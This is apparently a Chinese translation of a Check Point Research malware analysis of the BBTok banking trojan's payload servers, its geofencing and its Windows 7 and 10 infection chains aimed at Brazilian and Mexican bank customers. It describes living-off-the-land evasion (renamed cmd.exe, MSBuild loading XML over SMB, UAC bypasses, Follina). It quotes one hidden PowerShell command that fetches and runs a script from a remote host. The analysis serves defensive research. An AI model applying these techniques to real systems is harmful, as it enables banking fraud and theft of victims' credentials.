您所在的位置: 首頁(yè) >
新聞資訊 >
技術(shù)前沿 >
分析新BBTok 惡意銀行軟件變體的服務(wù)器端組件
Check Point Research研究人員最近在拉丁美洲發(fā)現(xiàn)了一個(gè)活躍活動(dòng),該活動(dòng)正在操作和部署B(yǎng)BTok銀行軟件的新變體。在這項(xiàng)研究中,我們會(huì)介紹新發(fā)現(xiàn)的攻擊鏈,這些攻擊鏈?zhǔn)褂昧艘环N獨(dú)特的 Living off the land Binaries組合,所以,盡管BBTok銀行軟件至少?gòu)?020年開始活躍,但時(shí)至今日,被檢測(cè)到的概率還是很低。在分析該活動(dòng)時(shí),研究人員發(fā)現(xiàn)了一些攻擊者在攻擊中使用的服務(wù)器端資源,目標(biāo)是巴西和墨西哥的數(shù)百名用戶。
服務(wù)器端組件負(fù)責(zé)提供可能通過網(wǎng)絡(luò)釣魚鏈接傳播的惡意有效負(fù)載。我們已經(jīng)觀察到相同的服務(wù)器端腳本和配置文件的多次迭代,這些腳本和配置文件展示了BBTok銀行軟件部署方法隨著時(shí)間的推移而演變的過程。這我們得以一窺攻擊者尚未實(shí)現(xiàn)的攻擊媒介,并追蹤用于維持此類操作的源代碼的起源。
我們將在本文重點(diǎn)介紹用于傳播銀行軟件的有效負(fù)載服務(wù)器的一些服務(wù)器端功能,它們可以為每個(gè)受害者產(chǎn)生獨(dú)特的有效負(fù)載。
發(fā)現(xiàn)過程
BBTok異?;钴S,針對(duì)巴西和墨西哥的用戶,采用多層地理圍欄來確保受攻擊的設(shè)備僅來自這些國(guó)家。
自2020年BBTok最后一次公開報(bào)道以來,運(yùn)營(yíng)商的技術(shù)、戰(zhàn)術(shù)和程序(TTPs)發(fā)生了重大變化,增加了額外的混淆層和下載器,從而使檢測(cè)率降到最低。
BBTok銀行有一個(gè)專門的功能,可以復(fù)制40多家墨西哥和巴西銀行的界面,并欺騙受害者將其雙重身份驗(yàn)證代碼輸入他們的銀行賬戶或輸入他們的支付卡號(hào)。
新識(shí)別的有效負(fù)載是由自定義服務(wù)器端應(yīng)用程序生成的,該應(yīng)用程序負(fù)責(zé)根據(jù)操作系統(tǒng)和位置為每個(gè)受害者生成唯一的有效負(fù)載。
對(duì)有效負(fù)載服務(wù)器端代碼的分析顯示,攻擊者正在積極維護(hù)不同版本W(wǎng)indows的多樣化攻擊鏈,這些鏈?zhǔn)褂酶鞣N各樣的文件類型,包括ISO, ZIP, LNK, DOCX, JS和XLL。
攻擊者在他們的武器庫(kù)中添加開源代碼、來自黑客論壇的代碼和新的漏洞(例如Follina)。
BBTok銀行軟件歷史
BBTok銀行軟件于2020年首次被披露,通過無(wú)文件攻擊部署在拉丁美洲。其功能非常齊全,包括枚舉和終止進(jìn)程、鍵盤和鼠標(biāo)控制以及操作剪貼板內(nèi)容。除此之外,BBTok還包含經(jīng)典的銀行木馬功能,模擬在墨西哥和巴西運(yùn)營(yíng)的各種銀行的虛假登錄頁(yè)面。
自從首次被公開披露以來,BBTok運(yùn)營(yíng)商已經(jīng)采用了新的https,同時(shí)仍然主要利用帶有附件的網(wǎng)絡(luò)釣魚電子郵件進(jìn)行初始攻擊。最近,我們看到了銀行軟件通過網(wǎng)絡(luò)釣魚鏈接傳播的跡象,而不是作為電子郵件本身的附件。
在訪問惡意鏈接時(shí),會(huì)將ISO或ZIP文件下載到受害者的計(jì)算機(jī)上,這些文件包含一個(gè)啟動(dòng)攻擊鏈的LNK文件,在打開一個(gè)誘餌文件的同時(shí),導(dǎo)致銀行軟件的部署。雖然乍一看,這個(gè)過程似乎很簡(jiǎn)單,但幕后操作非常復(fù)雜。
在分析這些新發(fā)現(xiàn)的鏈接時(shí),研究人員發(fā)現(xiàn)了用于傳播惡意軟件的內(nèi)部服務(wù)器端資源。很明顯,攻擊者保持了廣泛的攻擊鏈,每次點(diǎn)擊都根據(jù)需要生成,并根據(jù)受害者的操作系統(tǒng)和位置進(jìn)行定制。
BBTok銀行攻擊
BBTok為其運(yùn)營(yíng)商提供了廣泛的功能,從遠(yuǎn)程命令到經(jīng)典的銀行木馬功能,BBTok可以復(fù)制多家拉美銀行的界面。其代碼引用了墨西哥和巴西的40多家主要銀行,如花旗銀行、豐業(yè)銀行、Banco Itaú和匯豐銀行。銀行軟件通過遍歷打開的窗口和瀏覽器選項(xiàng)卡的名稱,搜索銀行名稱,來尋找受害者是這些銀行客戶的跡象。
其默認(rèn)目標(biāo)顯然是西班牙對(duì)外銀行(BBVA),其默認(rèn)的虛假界面旨在復(fù)制其外觀。這些虛假的界面冒充合法機(jī)構(gòu),誘使毫無(wú)戒心的用戶泄露個(gè)人和財(cái)務(wù)信息,該功能的重點(diǎn)是誘騙受害者輸入作為銀行賬戶密碼,并接管受害者的銀行賬戶。
嵌入BBTok 銀行軟件中的虛假接口示例
BBTok是用Delphi編寫的,它使用可視化組件庫(kù)(VCL)來創(chuàng)建表單,毫不夸張地說,這些表單形成了這些虛假的界面,這使得攻擊者可以動(dòng)態(tài)、自然地生成適合受害者電腦屏幕的界面和受害者銀行的特定形式而不會(huì)引起懷疑。作為銀行軟件的默認(rèn)目標(biāo)銀行,西班牙對(duì)外銀行(BBVA)將其接口存儲(chǔ)在一個(gè)名為“TFRMBG”的表單中,除了銀行網(wǎng)站,攻擊者也開始在受攻擊的設(shè)備上搜索有關(guān)比特幣的信息,積極尋找”bitcoin”, ”Electrum”和”binance”等字符串。
除此之外,BBTok還可以安裝惡意瀏覽器擴(kuò)展或注入名為“rpp.dll”的DLL來進(jìn)一步控制受攻擊的系統(tǒng),并可能提高其欺騙受害者的能力。
值得注意的是,該攻擊者采取了謹(jǐn)慎的方式 所有的銀行活動(dòng)都是在其C2服務(wù)器的直接命令下執(zhí)行的,而不是在每個(gè)受攻擊的系統(tǒng)上自動(dòng)執(zhí)行。
負(fù)載服務(wù)器分析
為了有效管理他們的活動(dòng),BBTok運(yùn)營(yíng)商創(chuàng)建了一個(gè)獨(dú)特的流程,由受害者點(diǎn)擊惡意鏈接啟動(dòng),該鏈接可能是通過釣魚電子郵件發(fā)送的。當(dāng)受害者點(diǎn)擊鏈接時(shí),會(huì)根據(jù)受害者的操作系統(tǒng)下載ZIP文件或ISO映像。這個(gè)過程對(duì)受害者來說是無(wú)感的,但服務(wù)器會(huì)根據(jù)請(qǐng)求中找到的參數(shù)生成唯一的有效負(fù)載。
BBTok攻擊中使用的服務(wù)器端組件
此過程在基于xampp的服務(wù)器上執(zhí)行,包含三個(gè)基本組件:
一個(gè)PowerShell腳本,用于處理有效負(fù)載準(zhǔn)備,并包含創(chuàng)建lure文檔的主要邏輯;
一個(gè)PHP代碼庫(kù)和數(shù)據(jù)庫(kù),用于記錄和管理攻擊;
增強(qiáng)這些組件功能的輔助實(shí)用程序。
具體流程如下:
受害者向/baxar、/descargar或/descarga執(zhí)行HTTP請(qǐng)求(這些路徑表明誘餌是西班牙語(yǔ)或葡萄牙語(yǔ));
基于.htaccess文件,服務(wù)器使用descarga.php處理請(qǐng)求;
腳本利用文件db.php通過SQLite數(shù)據(jù)庫(kù)存儲(chǔ)有關(guān)請(qǐng)求的信息,包括受害者的信息;
Desarga.php調(diào)用ps_gen.ps1來生成一個(gè)自定義文檔,該文檔最終會(huì)傳遞給受害者。
傳入請(qǐng)求處理
PHP代碼庫(kù)由以下文件組成:
1.descarga/descargar.php:管理新的連接并向受害者的電腦提供引誘文檔。
2.db.php:生成并管理包含受害者詳細(xì)信息的SQLite數(shù)據(jù)庫(kù)。
3.generator.php:用于生成隨機(jī)鏈接、字符串和其他功能的實(shí)用程序類。
4.“Descarga”和“descargar”在西班牙語(yǔ)中翻譯為“download”。此文件包含感染過程的主要邏輯。腳本本身包含許多評(píng)論,其中一些是純西班牙語(yǔ)和葡萄牙語(yǔ),這些評(píng)論暗示了攻擊者的來源。
腳本邏輯:
1.它根據(jù)ip-api.com檢查鏈接引用的受害者的地理位置,并將其存儲(chǔ)在文件中。如果受害者不是來自目標(biāo)國(guó)家(例如,墨西哥或巴西),則HTTP連接立即以404消息結(jié)束。
2.如果受害者通過了檢查,則腳本解析用戶代理以獲取受害者的Windows操作系統(tǒng)版本。
3.然后,它將帶有受害者的國(guó)家/地區(qū)代碼和引誘文件名的用戶代理傳遞到PowerShell有效負(fù)載生成器腳本。
PowerShell負(fù)載生成器
腳本ps_gen.ps1包含用于生成ZIP或ISO文件形式的文檔有效負(fù)載的主要邏輯。最新版本的代碼有很多失效的部分,這部分在過去可能是有效的,這表明它們包含額外的感染鏈和誘餌,我們發(fā)現(xiàn)了該文件的多個(gè)版本,其中一些可以追溯到2022年7月,這表明該活動(dòng)已經(jīng)進(jìn)行了很長(zhǎng)一段時(shí)間。
生成器腳本由descarga.php調(diào)用,使用帶有參數(shù)file_name、ver和cc的函數(shù)DownloadFile,這些對(duì)應(yīng)于生成的文檔名稱、受害者的操作系統(tǒng)版本和受害者的國(guó)家代碼。
在觀察到的服務(wù)器迭代中使用的代碼部分基于兩個(gè)參數(shù)生成文檔有效負(fù)載:
受害者的國(guó)度:巴西或墨西哥;
從User-Agent中提取的操作系統(tǒng):Windows 10或7;
根據(jù)結(jié)果,選擇惡意文檔的以下參數(shù):
文件類型:Windows 10為ISO, Windows 7為ZIP;
下一階段使用的DLL文件的名稱根據(jù)目標(biāo)國(guó)家的不同而變化:Trammy用于巴西,Gammy用于墨西哥。
該文檔包含一個(gè)鏈接:Windows 10中的LNK快捷圖標(biāo)是Microsoft Edge使用的快捷圖標(biāo),Windows 7中的LNK快捷圖標(biāo)是Google Chrome使用的快捷圖標(biāo)。
最后的執(zhí)行邏輯:對(duì)于Windows 10受害者,該腳本使用來自服務(wù)器216[.]250[.]251[.]196的名為dat.xml的文件執(zhí)行 MSBuild.exe,該文件還存儲(chǔ)下一階段的惡意DLL。對(duì)于Windows7,負(fù)載只是通過CMD執(zhí)行下載相關(guān)的遠(yuǎn)程DLL。
添加位置混淆
所有有效載荷都使用Add-PoshObfusion函數(shù)進(jìn)行模糊處理。對(duì)部分代碼的簡(jiǎn)單搜索會(huì)從“良性”網(wǎng)站hackforums[.]net中得到一個(gè)結(jié)果,特別是2021年8月一位名為“Qismon”的用戶的回復(fù),其還推薦了一些繞過AMSI和安全產(chǎn)品的方法,并分享PoshObfusion代碼:
在hackforums[.]net中共享的Add-PoshObfuscation()代碼
攻擊鏈和最終有效負(fù)載
上面描述的過程最終導(dǎo)致了兩個(gè)攻擊鏈的變體:一個(gè)針對(duì)Windows 7,一個(gè)針對(duì)Windows 10。兩個(gè)版本之間的差異可以解釋為試圖避免新實(shí)現(xiàn)的檢測(cè)機(jī)制,如AMSI。
*ammy.dll下載程序
兩個(gè)感染鏈都使用使用類似約定命名的惡意DLL——Trammy、Gammy、Brammy或Kammy。后者是BBTok加載程序的精簡(jiǎn)和混淆版本,在執(zhí)行任何惡意操作之前使用地理圍欄來阻止檢測(cè)。最后的有效負(fù)載是一個(gè)新版本的BBTok銀行程序。如上所述,BBTok附帶了多個(gè)額外的密碼保護(hù)軟件。這些漏洞允許攻擊者完全訪問受攻擊的設(shè)備和其他功能。
Windows 7攻擊鏈
Windows 7攻擊鏈
Windows 7的攻擊鏈不是唯一的,它由存儲(chǔ)在ZIP文件中的LNK文件組成。在執(zhí)行LNK文件時(shí),使用rundll32.exe運(yùn)行* my.dll負(fù)載,rundll32.exe依次下載、提取和運(yùn)行BBTok負(fù)載。
Windows 10攻擊鏈
Windows 10攻擊鏈
Windows 10的攻擊鏈存儲(chǔ)在一個(gè)包含3個(gè)組件的ISO文件中:一個(gè)LNK文件,一個(gè)lure文件和一個(gè)重命名的cmd.exe可執(zhí)行文件。點(diǎn)擊LNK文件啟動(dòng)攻擊鏈,使用重命名的cmd.exe以以下方式運(yùn)行所有命令:
攻擊鏈
將lure文件復(fù)制到文件夾%userprofile%并打開它。
在BBTok攻擊中釋放的Lure文件
運(yùn)行MSBuild.exe,使用存儲(chǔ)在遠(yuǎn)程服務(wù)器上的XML(通過SMB獲取)構(gòu)建應(yīng)用程序。
MSBuild.exe創(chuàng)建一個(gè)隨機(jī)命名的DLL,它反過來從服務(wù)器下載* my. DLL,并以重命名的rundll32.exe(mmd.exe)運(yùn)行它,如XML內(nèi)容所示:
dll下載程序下載、提取并運(yùn)行BBTok負(fù)載
重命名CMD、MSBuild和通過SMB獲取文件的獨(dú)特組合導(dǎo)致Windows 10攻擊鏈很少被檢測(cè)到。
早期版本
在對(duì)BBTok活動(dòng)的分析中,研究人員遇到了來自有效負(fù)載服務(wù)器的多個(gè)版本的工件。我們看到PHP代碼、PowerShell腳本和其他實(shí)用程序都發(fā)生了變化。
PHP代碼的變化
查看descarga.php腳本的早期版本,我們看到了一些關(guān)鍵的差異:
最初,只有來自墨西哥的受害者會(huì)成為攻擊目標(biāo)。另一個(gè)有效負(fù)載服務(wù)器176[.]31[.]159[.]196的IP在腳本中進(jìn)行了硬編碼。
這里沒有直接執(zhí)行PowerShell腳本,而是調(diào)用了一個(gè)名為gen.php的腳本。雖然研究人員無(wú)法獲得這個(gè)腳本,但相信它只是執(zhí)行了PowerShell腳本。
使用db.php文件將受害者的IP地址、用戶代理和標(biāo)志(jaBaixou,即葡萄牙語(yǔ)中的“已下載”)插入數(shù)據(jù)庫(kù)中。稍后檢查該標(biāo)志,以確保不會(huì)提供相同的有效負(fù)載。
由于最新版本中未使用此部分,攻擊者可能發(fā)現(xiàn)此過程繁瑣,并決定用OPSEC來?yè)Q取更容易的管理和更高的攻擊成功幾率。
PowerShell腳本修改說明
查看PowerShell腳本的舊版本,可以清楚地看到對(duì)負(fù)載和執(zhí)行鏈進(jìn)行了大量更改。在最早版本的腳本中,LNK只是運(yùn)行一個(gè)PowerShell腳本,其參數(shù)為-ExecutionPolicy Unrestricted-W hidden-File\\%PARAM%[.]supplier[.]serveftp[.]net\files\asd.ps1。
后來的更新添加了lure PDF,fac.PDF(“fac”是“factura”的縮寫,在葡萄牙語(yǔ)中是“發(fā)票”)。這是來自墨西哥科利馬縣的合法西班牙語(yǔ)收據(jù)。此外,Windows7受害者的有效負(fù)載啟動(dòng)了一個(gè)合法的墨西哥政府網(wǎng)站hxxps://failover[.]www[.]gob[.]mx/matenimiento.html。
研究人員發(fā)現(xiàn)的最新版本打開了一個(gè)不同的合法網(wǎng)站hxxps://fazenda[.]gov[.]br,巴西政府網(wǎng)站。此版本還更改了MSBuild使用的XML文件,并將為巴西目標(biāo)保留的DLL名稱從Brammy.DLL更改為Trammy.DLL。
未使用的代碼和感染媒介
PowerShell腳本中的某些代碼部分未使用,服務(wù)器托管的文件不屬于我們討論的主要感染流。特別是,研究人員沒有發(fā)現(xiàn)任何積極使用以下內(nèi)容的跡象:
ze.docx是一份利用Follina CVE(2022-30190)的文檔。PowerShell腳本中名為CreateDoc的函數(shù)中引用了它。
CreateXLL引用的xll.xll是從開源項(xiàng)目中獲取的惡意xllhttps://github.com/moohax/xllpoc,通過Excel實(shí)現(xiàn)代碼執(zhí)行。在服務(wù)器上發(fā)現(xiàn)了許多空的JavaScript文件,這些文件很可能被名為CreateJS的函數(shù)使用。函數(shù)b.js中引用的文件是空的,因此不清楚該函數(shù)以前是使用過還是從未完全實(shí)現(xiàn)過。
服務(wù)器上有多個(gè)bat文件,每個(gè)文件都有不同的下載下一階段的實(shí)現(xiàn)。這些很可能是由名為CreateBat的函數(shù)創(chuàng)建的,該函數(shù)在最新版本的PowerShell腳本中被取消掉了。它們中的大多數(shù)幾乎與我們之前分析的ByFD函數(shù)中的代碼相同,不包括過去兩次值得注意的迭代:
最舊的bat文件下載了另一個(gè)PowerShell腳本作為下一階段(該腳本不再公開),而不是編輯注冊(cè)表;
稍后的bat文件使用了fodhelper UAC繞過,而不是當(dāng)前正在使用的computerdefaults繞過。
受害者分析
研究人員對(duì)服務(wù)器端組件的分析也揭示了最近的一個(gè)活動(dòng),,從攻擊者的角度來看,這是基于他們發(fā)現(xiàn)的一個(gè)數(shù)據(jù)庫(kù),該數(shù)據(jù)庫(kù)記錄了對(duì)惡意應(yīng)用程序的訪問。該數(shù)據(jù)庫(kù)名為links.sqlite,非常簡(jiǎn)單。它包含150多個(gè)條目,所有條目都是唯一的,表頭與db.php創(chuàng)建的條目相對(duì)應(yīng)。
chave或 key;
assunto或subject;
user_agent ;
baixou或downloaded。
名為chave的列包含受害者的IP地址,而assunto列為空:
Links.sqlite數(shù)據(jù)庫(kù)
攻擊區(qū)域
由于除了攻擊者之外,任何人都不會(huì)看到服務(wù)器代碼,并且其中包含大量葡萄牙語(yǔ)評(píng)論,我們認(rèn)為這表明攻擊者很可能是巴西人,巴西人以其活躍的銀行惡意軟件生態(tài)系統(tǒng)而聞名。
總結(jié)
盡管BBTok目前僅在巴西墨西哥活動(dòng),但很明顯,它仍在積極開發(fā)中,由于其眾多功能,以及涉及LNK文件、SMB和MSBuild的獨(dú)特而創(chuàng)造性的傳播方法,它仍然對(duì)該地區(qū)的組織和個(gè)人構(gòu)成威脅。
參考及來源:https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/
文章來源:嘶吼專業(yè)版